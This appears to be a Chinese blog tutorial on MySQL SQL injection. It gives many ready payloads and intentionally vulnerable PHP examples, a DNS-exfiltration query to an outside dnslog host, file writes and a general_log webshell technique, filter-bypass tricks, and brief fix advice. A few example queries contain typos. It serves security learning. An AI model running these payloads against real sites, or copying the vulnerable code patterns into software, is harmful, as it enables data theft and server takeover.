一、基本概念
SQL注入就是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以构造不同的SQL语句来实现对数据库的任意操作。
一般情况下,开发人员可以使用动态SQL语句创建通用、灵活的应用。
例如PHP语句:
$query = "select * from users where id = $_GET['id']"
二、SQL注入原理
漏洞产生需要满足以下两个条件:
- 参数用户可控
- 参数带入数据库查询
初步判断SQL注入
当传入id参数为1’时,不符合数据库语法规范,所以会报错
select * from users where id = 1'
但传入id参数为1 and 1=1 时
select * from users where id = 1 and 1=1
1=1为true,所以会返回id=1的结果
若是1=2,为false,会返回与id=1不同的结果
由此初步判断id参数存在SQL注入漏洞,攻击者可以进一步拼接SQL语句进行攻击,致使数据库数据泄露,甚至进一步获取服务器权限
三、SQL注入相关知识点(基于MySQL)
在MySQL5.0版本后,MySQL默认在数据库中存放information_schema
的数据库
该数据库中,存在三个表SCHEMATA
、TABLES
、COLUMNS
- SCHEMATA表:存储该用户创建的所有数据库库名,字段为 SCHEMA_NAME
- TABLES表:存储该用户创建的所有数据库的库名和表名,字段分别为 TABLE_SCHEMA、TABLE_NAME
- COLUMNS表,存储该用户创建的所有数据库的库名、表名和字段名,字段分别为TABLE_SCHEMA、TABLE_NAME、COLUMN_NAME
常用注入语句
查表:select table_name from information.schema.tables where table_schema=database()
查字段:select column_name from information.schema.columns where table_schema=databse() and table_name=''
limit的用法
使用格式为limit m,n
其中m是指记录开始的位置,从0开始为第一条记录;n是指n条记录
例如:limit 0,1 表示从第一条记录开始取一条记录
常用的函数
- database():当前网站使用的数据库
- version():当前MySQL版本
- user():当前MySQL用户
注释符
内联注释
形式为/*! code */
内联注释可以用于整个SQL语句中:
index.php?id=-1 /*!union*/ /*!select*/ 1,2,3
四、常见的攻击方式
1、Union注入攻击
在初步判断id参数存在SQL注入后,可以利用order by
查询该数据表中的字段
index.php?id=1 order by 3
在id=1 order by 3
时返回与id=1
相同的结果而id=1 order by 4
时返回不同的结果,则字段数为3
于是union注入语句如下:
index.php?id=1 union select 1,2,3
接下来可能仍然会返回与id=1一样的结果,那是因为代码只返回一条结果,所以union select的结果没有输出
那么注入语句可以改为:
index.php?id=-1 union select 1,2,3
由于数据库中没有id=-1的数据,那么就会返回union select的结果
接下来可以将回显的位置处插入SQL语句,开始查库、查表、查字段
union注入代码分析
<?php
$con=mysqli_connect("localhost","root","123456","test");
if(mysqli_connect_errno()){
echo "连接失败:". mysqli_connect_error();
}
$id=$_GET['id'];
$result=mysqli_query($con,"select * from users where `id`=".$id);
$row=mysqli_fetch_array($result);
echo $row['username'].":".$row['address'];
echo "<br>";
?>
传入的id参数直接拼接到SQL语句上,从而获取到数据库数据并输出
2、boolean注入攻击
boolean注入是指构造SQL判断语句,通过查看页面的返回结果来推测哪些SQL判断条件是成立的
例如id=1' and 1=1--+
返回了yes,id=1' 1=2--+
返回了no(或者前者返回正常页面,后者啥都不返回),并没有返回数据库中的数据,所以此处是不可以使用union注入的
尝试利用boolean注入:
id=1' and length(database())>=1--+
这样可以通过返回yes或no来判断数据库库名的长度
接着通过substr()或者mid()截取数据库库名
id=1' and substr(database(),1,1)='t'
–+
也可以使用ASCII码来进行查询,利用函数ord()或者ascii()
id=1' and ascii(substr(database(),1,1))=123--+
接下来查表名、字段名只要将database()改为SQL查询语句即可,SQL语句外要加上括号,这样MySQL会认为它们是一个整体,就不会产生语法错误
代码分析
<?php
$con = mysqli_connect('localhost','root','123456','test');
if(mysqli_connect_errno()){
echo mysqli_connect_error();
}
$id=$_GET['id'];
if(preg_match("/union|sleep|benchmark/i",$id)){
exit('no');
}
$result=mysqli_query($con,"select * from users where `id`='".$id."'");
$row = mysqli_fetch_array($result);
if($row){
exit('yes');
}
else{
exit('no');
}
?>
加入了黑名单,没有回显数据,使用boolean注入还是可以的
其他
还可以利用like函数和regexp正则表达式
like():
语法:like ‘ab%’ 表示从左边开始的字符是ab,例如abd
like ‘%ab’ 表示从右边结束的字符是ab,例如vab
like ‘%a%’ 表示字符串中含有a,例如mnacv
regexp:
语法:select database() regexp ‘^ab’,表示字符串以ab开头
3、报错注入攻击
产生的原因是程序直接将错误信息输出到了页面上,所以可以利用报错注入获取数据
例如访问id=1'
时,导致数据库执行SQL语句时因为多了一个单引号而报错,从而输出到页面上
我们可以利用updatexml()
和extractvalue()
函数,两个都是与xml文档操作有关的,这里就不详细解释了
updatexml()
id=1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1))
extractvalue()
id=1 and (extractvalue(1,concat(0x7e,(select database()),0x7e)))
绕过长度限制
上面两个函数能查询的最大长度只有32位,这里可以用mid()、substr()、substring()、right()、left()函数来获取多出来的字符
id=1 and (extractvalue(1,concat(0x7e,substring(passwd,1,10)),0x7e))
代码分析
<?php
$con=mysqli_connect('localhost','root','123456','test');
if(mysqli_connect_errno()){
echo mysqli_connect_error();
}
$id=$_GET['id'];
if($result=mysqli_query($con,"select * from users where `id`='".$id."'")){
echo "ok";
}else{
echo mysqli_error($con);
}
?>
没有回显数据,但是在数据库中执行了SQL语句,并且输出错误信息
4、时间注入攻击
与boolean注入很相似,都不会回显数据,只有yes或者no
区别在于,时间注入利用sleep()或者benchmark()等函数让MySQL的执行时间变长,多与if(a,b,c)结合使用
所以注入语句为
id=1' and if(length(database())>=1,sleep(5),1)--+
如果数据库库名长度大于1,休眠5秒,否则返回1
benchmark()
函数可以循环执行一个表达式,从而造成延时,达到与sleep相同的效果
id=1' and if(length(database())>=1,benchmark(10000000,sha(111111111111)),1)--+
同时benchmark()也有一些特性,可能会在某些情况起作用,这里记录一下:
- 若benchmark()中执行的表达式返回多条记录,会报错,一条不会
- 若benchmark()中执行得表达式出错,会报错(甚至会携带一些信息)
根据上述特性,在某些情况,我们可以采用暴力破解的方式获取一些信息
下图直接带出了数据库的库名
代码分析
都差不多,主要看黑名单中过滤了哪些函数,从而判断采用哪种注入方式
其他
利用
case when(条件语句) then 表达式 else 表达式 end
语句例如:
select 1 and case when(1) then sleep(5) else 1 end
5、堆叠注入
堆叠查询可以执行多条语句,多语句之间要用分号隔开。堆叠注入就是利用这个特点。
同时可以结合很多种注入方式,boolean注入、时间注入等,堆叠查询只会返回第一条语句查询的结果
id=1';select database()--+
代码分析
<?php
try{
$conn=new PDO("mysql:host=localhost;dbname=test","root","123456");
$conn->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
$stmt=$conn->query("select * from users where `id`='".$_GET['id']."'");
$result=$stmt->setFetchMode(PDO::FETCH_ASSOC);
foreach($stmt->fetchAll() as $k=>$v){
foreach($v as $key=> $value){
echo $value;
}
}
$dsn=null;
}
catch(PDOException $e){
echo "error";
}
$conn=null;
?>
程序使用PDO的方式进行数据查询,但是仍然将id参数直接拼接到查询语句,导师PDO没起到预编译的作用
6、二次注入
二次注入一般发生在查询语句上,其中的参数是从数据库中得到,并且被用户可控的,比如用户名,个人资料等
访问index.php?username=test'
成功注册名为test’的用户名,服务端返回用户id,为123
访问search.php?id=123
,这时服务端报错,可能存在SQL注入漏洞
而用户名就是我们的注入点
代码分析
<?php
$con=mysqli_connect('localhost','root','123456','test');
if(mysqli_connect_errno()){
echo mysqli_connect_error();
}
$username=$_GET['username'];
$passwd=$_GET['passwd'];
$result=mysqli_query($con,"insert into users(`username`,`passwd`) values ('".addslashes($username)."','".md5($passwd)."')");
echo "新id为:".mysqli_insert_id($con);
?>
addslashes()函数会将单引号、双引号、反斜杠和NULL字符前加上反斜杠
这就是一个用户注册的功能
<?php
$con=mysqli_connect('localhost','root','123456','test');
if(mysqli_connect_errno()){
echo mysqli_connect_error();
}
$id=intval($_GET['id']);
$result=mysqli_query($con,"select * from users where `id`=".$id);
$row=mysqli_fetch_array($result);
$username=$row['username'];
$result2=mysqli_query($con,"select * from person where username='".$username."'");
if($row2=mysqli_fetch_array($result2)){
echo $row2['username'].":".$row2['money'];
}else{
echo mysqli_error($con);
}
?>
在第二次对数据库查询时,没有对username进行转义,造成了二次注入
7、宽字节注入
宽字节注入可能发生的场景在数据库的编码为GBK时而后端的编码不为GBK
- 当某字符大小为一个字节时,为窄字节
- 某字符大小为两个字节时,为宽字节
- 所有英文默认占一个字节,汉字占两个字节
- 常见宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等
代码分析
<?php
$conn=mysql_connect('localhost','root','123456') or die('bad');
mysql_select_db('test',$conn) OR emMsg("数据库连接失败");
mysqli_query("set names 'gbk'",$conn);
$id=addslashes($_GET['id']);
$sql="select * from users where id='$id' limit 0,1";
$result=mysql_query($sql,$con);
$row=mysql_fetch_array($result);
if($row){
echo $row['username'].":".$row['address'];
}else{
print_r(mysql_error());
}
?>
可以看到输入被函数addslashes()进行了转义,所以一般情况下是无法注入的,但是在数据库查询前执行了
set names ‘gbk’,将数据库编码设置为了宽字节GBK,所以存在宽字节注入漏洞
SQL注入语句为:
id=1%df' union select 1,2,3--+
原理
在数据库中使用了宽字符集而Web中没考虑这个问题
浏览器中输入id=%df'
,浏览器解码后,php收到的就是β\'
,也就是0xdf5c27
,而在进入数据库后,由于数据库是GBK编码,会认为0xdf5c是中文字符運,导致反斜杠会吞掉,单引号成功逃逸
宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码
同样的还有php的iconv()函数,也会造成宽字节注入:
<?php
error_reporting(0);
$conn=mysql_connect('127.0.0.1','root','');
mysql_select_db('mysql',$conn);
mysql_set_charset("utf8");//推荐的安全编码
$user=mysql_real_escape_string(($_GET['sql']));//推荐的过滤函数
$user=iconv('GBK','UTF-8',$user);
$sql="SELECT host,user,password FROM user WHERE user='{$user}'";
echo$sql.'</br>';
$res=mysql_query($sql);
while($row=mysql_fetch_array($res)){
var_dump($row);
}
id=root%e5%27or%201=1%23
同样可以造成宽字节注入
这是怎么造成的?
首先%e5%27被mysql_real_escape_string()根据utf8编码过滤为%e5%5c%27
而%e5%5c在GBK编码中是汉字錦,那么在下面的iconv()转换中,%e5%5c被utf8编码吞了,从而造成单引号逃逸
8、cookie注入
php通过$_COOKIE来获取浏览器中cookie中的数据,而没有对参数进行过滤
类似的,由于请求头可以伪造,若是后端获取某些请求头来执行SQL语句,同样可以造成SQL注入
9、insert注入和update注入
假如一个参数可控,完整的语句为:
insert into admin values(1 and extractvalue(1,concat(0x7e,(playload),0x7e))),'1000')#,'1')
我们需要闭合前面的结构,注释掉多余的结构
还有时间注入:
insert into admin values((select case when database() like '%c%' then sleep(5) else 1 end),'1')
update就是一样的操作了
10、LIMIT处注入
写文件
select * from users limit 1 into outfile 'd:\\1.txt'
procedure analyse
要求mysql版本<5.6.6 的5.x系列
select * from users limit 1 procedure analyse(extractvalue(1,concat(0x71,(payload),0x7e)),1)
结合union注入&时间注入
select * from users limit 1 union select database(),1
需要注意字段数,否则会报错
11、order by处注入
结合报错注入
select * from users order by 1 and extractvalue(1,concat(0x7e,(select database()),0x7e))
结合时间盲注
select * from users order by 1 rlike (case when(substr(database(),1,1)='5') then BENCHMARK(1000000,sha(1)) else 1 end)
这里不能用sleep(),会导致全表延迟
12、基于DNS的注入
主要用到的函数为load_file()
前提:
- root权限
- secure_file_priv 为空
select load_file(concat('\\\\',database(),'.k8iufc.dnslog.cn\\a'))
原理
UNC路径:
UNC (Universal Naming Convention)路径是通用命名规则,也称通用命名规范、通用命名约定。
UNC路径格式是:\XXXXX\XXXX
它采用 \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。
因此,当我们访问路径://a.1806dl.dnslog.cn/abc,是在访问a.1806dl.dnslog.cn下的abc共享文件夹。
它依赖的windows服务叫做smb [文件共享服务],因此linux不一定能用DNSlog注入,因为linux默认是不自带smb服务(用户可以装)。
13、MySQL读写文件
SQL注入如果满足了对应的条件,是可以直接进行shell的写入的
secure_file_priv
这个参数很大程度上决定了我们能否进行读写,默认为空
- 值为 NULL:不允许任何文件导入导出操作
- 值为空:对导入导出操作不做限制
- 值为
D:\
:只允许在d盘进行导入导出操作
如果要修改它的值:
- windows:mysql.ini文件修改
- linux:my.cnf文件修改
select load_file(‘’)
select * from users into outfile ‘’
select * from users into dumpfile ‘’
Linux下写文件
满足以下条件:
- root用户
- secure_file_priv 为空
- 写shell的文件夹必须为777权限,权限不够会报错
- 文件大小小于max_allowed_packet
Linux下读文件
- root用户
- 目标文件可读
Windows下读文件
- root用户
- secure_file_priv 为空
- 指定路径可以访问
Windows下写文件
- root用户
- secure_file_priv 为空
- 指定路径 可以访问
14、利用mysql日志文件getshell
思路就是将mysql日志文件移动到web目录,然后将代码引入到日志文件中,最终getshell
网站的绝对路径可以从一些探针文件或者phpinfo等文件获取
set global general_log=on
set global general_log_file='D:\\shell.php'
select '<?php phpinfo();?>'
set global general_log=off
访问该文件就可以getshell了
五、SQL注入绕过技术
1、大小写绕过
例如一般注入时:id=1' and 1=1--+
可以改为:id=1' AnD 1=1--+
id=1' UniOn sEleCt 1,2,3--+
绕过原理
我的理解吧,就是后端只是对一些关键字加入了黑名单,并没有考虑大小写的情况
2、双写绕过
id=1' anandd 1=1--+
中间完整的and被过滤后仍然保留了一个and
如果有报错信息,可以从报错信息中判断是否有被去除
绕过原理
同样也是加入黑名单,只不过会将关键字从查询语句中去除
3、编码绕过
例如id=1' and 1=1--+
中and被拦截
我们可以对and进行两次URL全编码(就是16进制加上%)
and
=> %25%36%31%25%36%65%25%36%34
由于服务器会对URL进行一次URL解码,所以需要编码两次(这里其实我也不是很理解,可能在某些情况下是这样的吧)
4、内联注释绕过
一些关键字例如and
,使用内联注释绕过为/*!and*/
六、SQL注入修复建议
1、过滤危险字符
例如,采用正则表达式匹配一些关键词
过滤在一定程度上可以防止SQL注入漏洞,但是仍然存在被绕过的可能
2、适用预编译语句
使用PDO预编译语句,需要注意的是不要将变量直接拼接到PDO语句中,而是使用占位符进行数据库的增加、删除、修改、查询
- 本文链接:http://siii0.github.io/WEB%E5%AE%89%E5%85%A8%E4%B9%8BSQL%E6%B3%A8%E5%85%A5/
- 版权声明:本博客所有文章除特别声明外,均默认采用 许可协议。